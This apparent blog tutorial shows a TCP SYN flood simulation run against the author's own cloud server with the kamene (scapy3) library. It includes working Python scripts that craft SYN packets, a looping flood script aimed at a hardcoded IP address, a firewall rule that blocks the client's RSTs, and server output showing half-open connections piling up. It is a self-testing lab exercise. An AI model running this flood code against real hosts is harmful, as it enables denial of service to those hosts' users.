TCP SYN Flood Simulation With Python

The main content of this topic is to simulate a TCP syn flood attack against my Aliyun host in order to have some tests. With the help of the kamene framework which also known as scapy3, I’ll craft some IP packets as we always did with Rawsocket of C under unix years ago, at the same time to notes some concerns during this process, including how it works, the network topology, the usage of kamene, the configuration of the firewall, and the packets dump of the server.

How It Works

The idea is very simple. SYN queue flood attack takes advantage of the TCP protocol’s “three-way handshake”, the client send a “SYN”, the server answer a “SYN, ACK”, and the client do nothing but leave the connection half opened. This action will repete again and again to consume the server’s resources as much as possible.

One Packet Test

The code send one packet to the host 47.95.194.185, it’s a tcp SYN packet.

1
2
3
4
5
6
7
8
9
10
11
12
13
from kamene.all import *
from kamene.layers.inet import IP, TCP
from kamene.volatile import RandShort

iplayer = IP(dst="47.95.194.185", id=1111, ttl=99)
tcplayer = TCP(sport=RandShort(), dport=[80], seq=12345, ack=1000, window=1000, flags="S")
packet = iplayer / tcplayer
send(packet)

# applayer = "hello, there"
# packet = iplayer / tcplayer / applayer
# packet.show()
# send(packet)

Run this code, and capture the packets on the client side and server side. The client (macOS) sends a RST after receiving the SYN, ACK from the server to notify the server not to allocate resources for this request. So what I need to do is stop this RST being sent out.

Because the client is behind the NAPT and the server is also behind the NAPT.

Config Firewall To Stop The RST

On the client macOS, append this line into /etc/pf.conf, and reboot the system.

1
block drop proto tcp from any to any flags R/R

After the computer boots up, make sure the firewall is working.

1
2
3
4
5
6
> sudo pfctl -e
> sudo pfctl -s info

No ALTQ support in kernel
ALTQ related functions disabled
Status: Enabled for 0 days 00:06:25 Debug: Urgent

Run the script again, and check out the wireshark captures, RST has been blocked by the firewall.

Finish The Works

Finish the code to loop the packet sending activity,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from kamene.all import *
from kamene.layers.inet import IP, TCP
from kamene.volatile import RandShort

# IP Layer
iplayer = IP(dst="47.95.194.185")

# TCP Layer
tcplayer = TCP(sport=RandShort(), dport=[8080], seq=RandShort(), ack=1000, window=1000, flags="S")

# Combine
packet = iplayer / tcplayer

while True:
send(packet)
time.sleep(1)

Check the server tcp connection status, we can see the number of connections that are in the SYN_RECV status is increasing, if I change the code to send the packet quick enough, the server will deny to service the other customers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@iZ2ze0ycbhz8v1bg7bckj8Z:~# netstat -anp | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 15116/java
tcp 0 0 172.17.237.168:8080 120.200.8.124:13525 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13527 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13533 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13526 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13528 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13531 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13530 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13536 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13529 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13532 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13524 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13535 SYN_RECV -
tcp 0 0 172.17.237.168:8080 120.200.8.124:13534 SYN_RECV -

What if the 3-way-handshake complete

The firewall is enabled, and I send the final ack of the 3-way-handshake to establish the connection, what will happen?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from kamene.all import *
from kamene.layers.inet import IP, TCP

# IP Layer
srcip = ""
dstip = "47.95.194.185"
iplayer = IP(dst=dstip)

# TCP Layer
srcport = random.randint(1024, 65535)
dstport = [80]
seqnum = random.randint(1024, 65535)
acknum = 0
window = 1000
flags = "S"
tcplayer = TCP(sport=srcport, dport=dstport, seq=seqnum, ack=acknum, window=window, flags=flags)

# 3 Way Handshake
# SYN
packet_synack = sr1(iplayer / tcplayer)
# SYN_ACK
packet_ack = TCP(sport=srcport, dport=dstport, seq=packet_synack.ack, ack=packet_synack.seq + 1, flags='A')
# ACK
send(iplayer / packet_ack)

Run this code and capture the packets in wireshark.

Check out the network status on the server, a connection has been established successfully.

1
2
root@iZ2ze0ycbhz8v1bg7bckj8Z:~# netstat -anp | grep 120.200.8.124
tcp 0 0 172.17.237.168:80 120.200.8.124:13710 ESTABLISHED 785/nginx: worker p

Check out the network status on the client, there’s no connection infomation to the server.

1
2
➜  ~ netstat -an | grep 47.95.194.185
➜ ~